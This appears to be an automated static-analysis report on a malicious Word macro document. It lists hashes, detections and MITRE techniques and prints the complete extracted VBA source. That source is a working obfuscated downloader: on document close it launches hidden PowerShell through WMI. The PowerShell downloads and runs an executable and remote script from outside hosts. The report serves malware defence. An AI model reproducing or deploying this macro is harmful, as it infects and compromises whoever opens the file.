Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ff10e852973c6675…

MALICIOUS

Office (OOXML)

66.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-11
MD5: 1ee0336e030dc9d11b09d43f33cdb9ed SHA-1: cf76616a5b3a58055407d69df9e2ebbba460ed48 SHA-256: ff10e852973c6675fa1f623eb27ff70306ba607a25c976d78d9396731205ec0e
324 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The AutoClose macro utilizes WMI (Win32_Process.Create) to launch a process, a common technique for downloading and executing further malicious payloads. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' further supports this behavior. The script attempts to reconstruct a command string from obfuscated arrays, but the core functionality of process creation via WMI is clear.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3384 bytes
SHA-256: 3ab79f5b28f78e47c6b641a9f6f9fb2b3b2e1eafc7dc0cd89e190c5d22e36ae4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function kicking(guanabana)
  Const deleaved = 0
  dustup = "."
  Set baptizements = GetObject("winmgmts:" _
      & "{impersonationLevel=impersonate}!\\" _
      & dustup & "\root\cimv2")
  Set incompossible = baptizements.Get("Win32_ProcessStartup")
  Set alsatia = incompossible.SpawnInstance_
  alsatia.ShowWindow = deleaved

  Set unultra = baptizements.Get("Win32_Process")
  nos = unultra.Create _
      (guanabana, Null, alsatia, intProcessID)
End Function


Private Function detorsion(paintbrush)
  somnorific = Array("B", "O", "w", "D", "s", "v", "1", "k", "A", "N", "M", "K", "9", "m", "T", "C", "I", "7", "o", "p", "a")
  chalastogastra = Array("-", "p", "l", " ", "E", "a", ".", "C", "h", "e", "N", "x", "i", "t", "o", "B", "s", "r", "c", "y", "w")
  
  smectis = vbNullString
  
  For Each portables In paintbrush
    polymerizing = decimus(portables, somnorific, UBound(somnorific))
    If polymerizing > -1 Then
    smectis = chalastogastra(polymerizing) & smectis
    End If
  Next
  
  detorsion = StrReverse(smectis)
  
End Function

Public Function decimus(reflect, neolithic, coiffeuses)
  reassembly = 3
  knoxvillite = 1992
  For reassembly = 0 To coiffeuses
    If neolithic(reassembly) = reflect Then
     knoxvillite = reassembly
    End If
  Next

  If knoxvillite = 1992 Then
    knoxvillite = -1
  End If
  
  decimus = knoxvillite
End Function

Sub AutoClose()
  paintbrush = Array("O", "T", "a", "N", "7", "I", "A", "N", "w", "w", "1", "N", "K", "N", "D", "B", "M", "T", "s", "K", "9", "m", "D", "B", "s", "K", "N", "o", "D", "C", "p", "O", "v", "I", "I", "D", "B", "s", "k", "D")
  schav = "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGEAbgB5AG0AbwBuAGIAdQBuAHIAeQBiAGcAYQBrAGIAdwBlAGUAdwAuAGMAbwBtAC8AUwBTAC8AZABvAGcAYwAuAHQAegBtACcALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXABjAGUANgBhAGIAYQBlADAALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwAYwBlADYAYQBiAGEAZQAwAC4AZQB4AGUAJwA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQBuAHkAbQBvAG4AYgB1AG4AcgB5AGIAZwBhAGsAYgB3AGUAZQB3AC4AYwBvAG0ALwBzAC4AcABoAHAAPwBpAGQAPQBkAG8AZwBjACcAKQA7ACAASQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBjAG4AaABvAHQAZQBsAHQAZQB4AC4AYwBvAG0ALwBTAHQAYQB0AC4AYwBvAHUAbgB0ACcAKQApADsA"
  enserfment = detorsion(paintbrush)
  
  Application.Run "upbraiders", enserfment + schav
  
End Sub


Private Sub upbraiders(guanabana)
   
   greenwich = DateDiff("s", #1/1/1970#, Now())
   rhodanine = True
   
   While rhodanine
     physicotherapeutic = greenwich + 60
     If physicotherapeutic - greenwich > 1 Then
       Application.Run "kicking", (guanabana)
       rhodanine = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 76aa0d09418ef773afd8d6e839ccf316588ec8579ae81e2303f65a16f23bede9
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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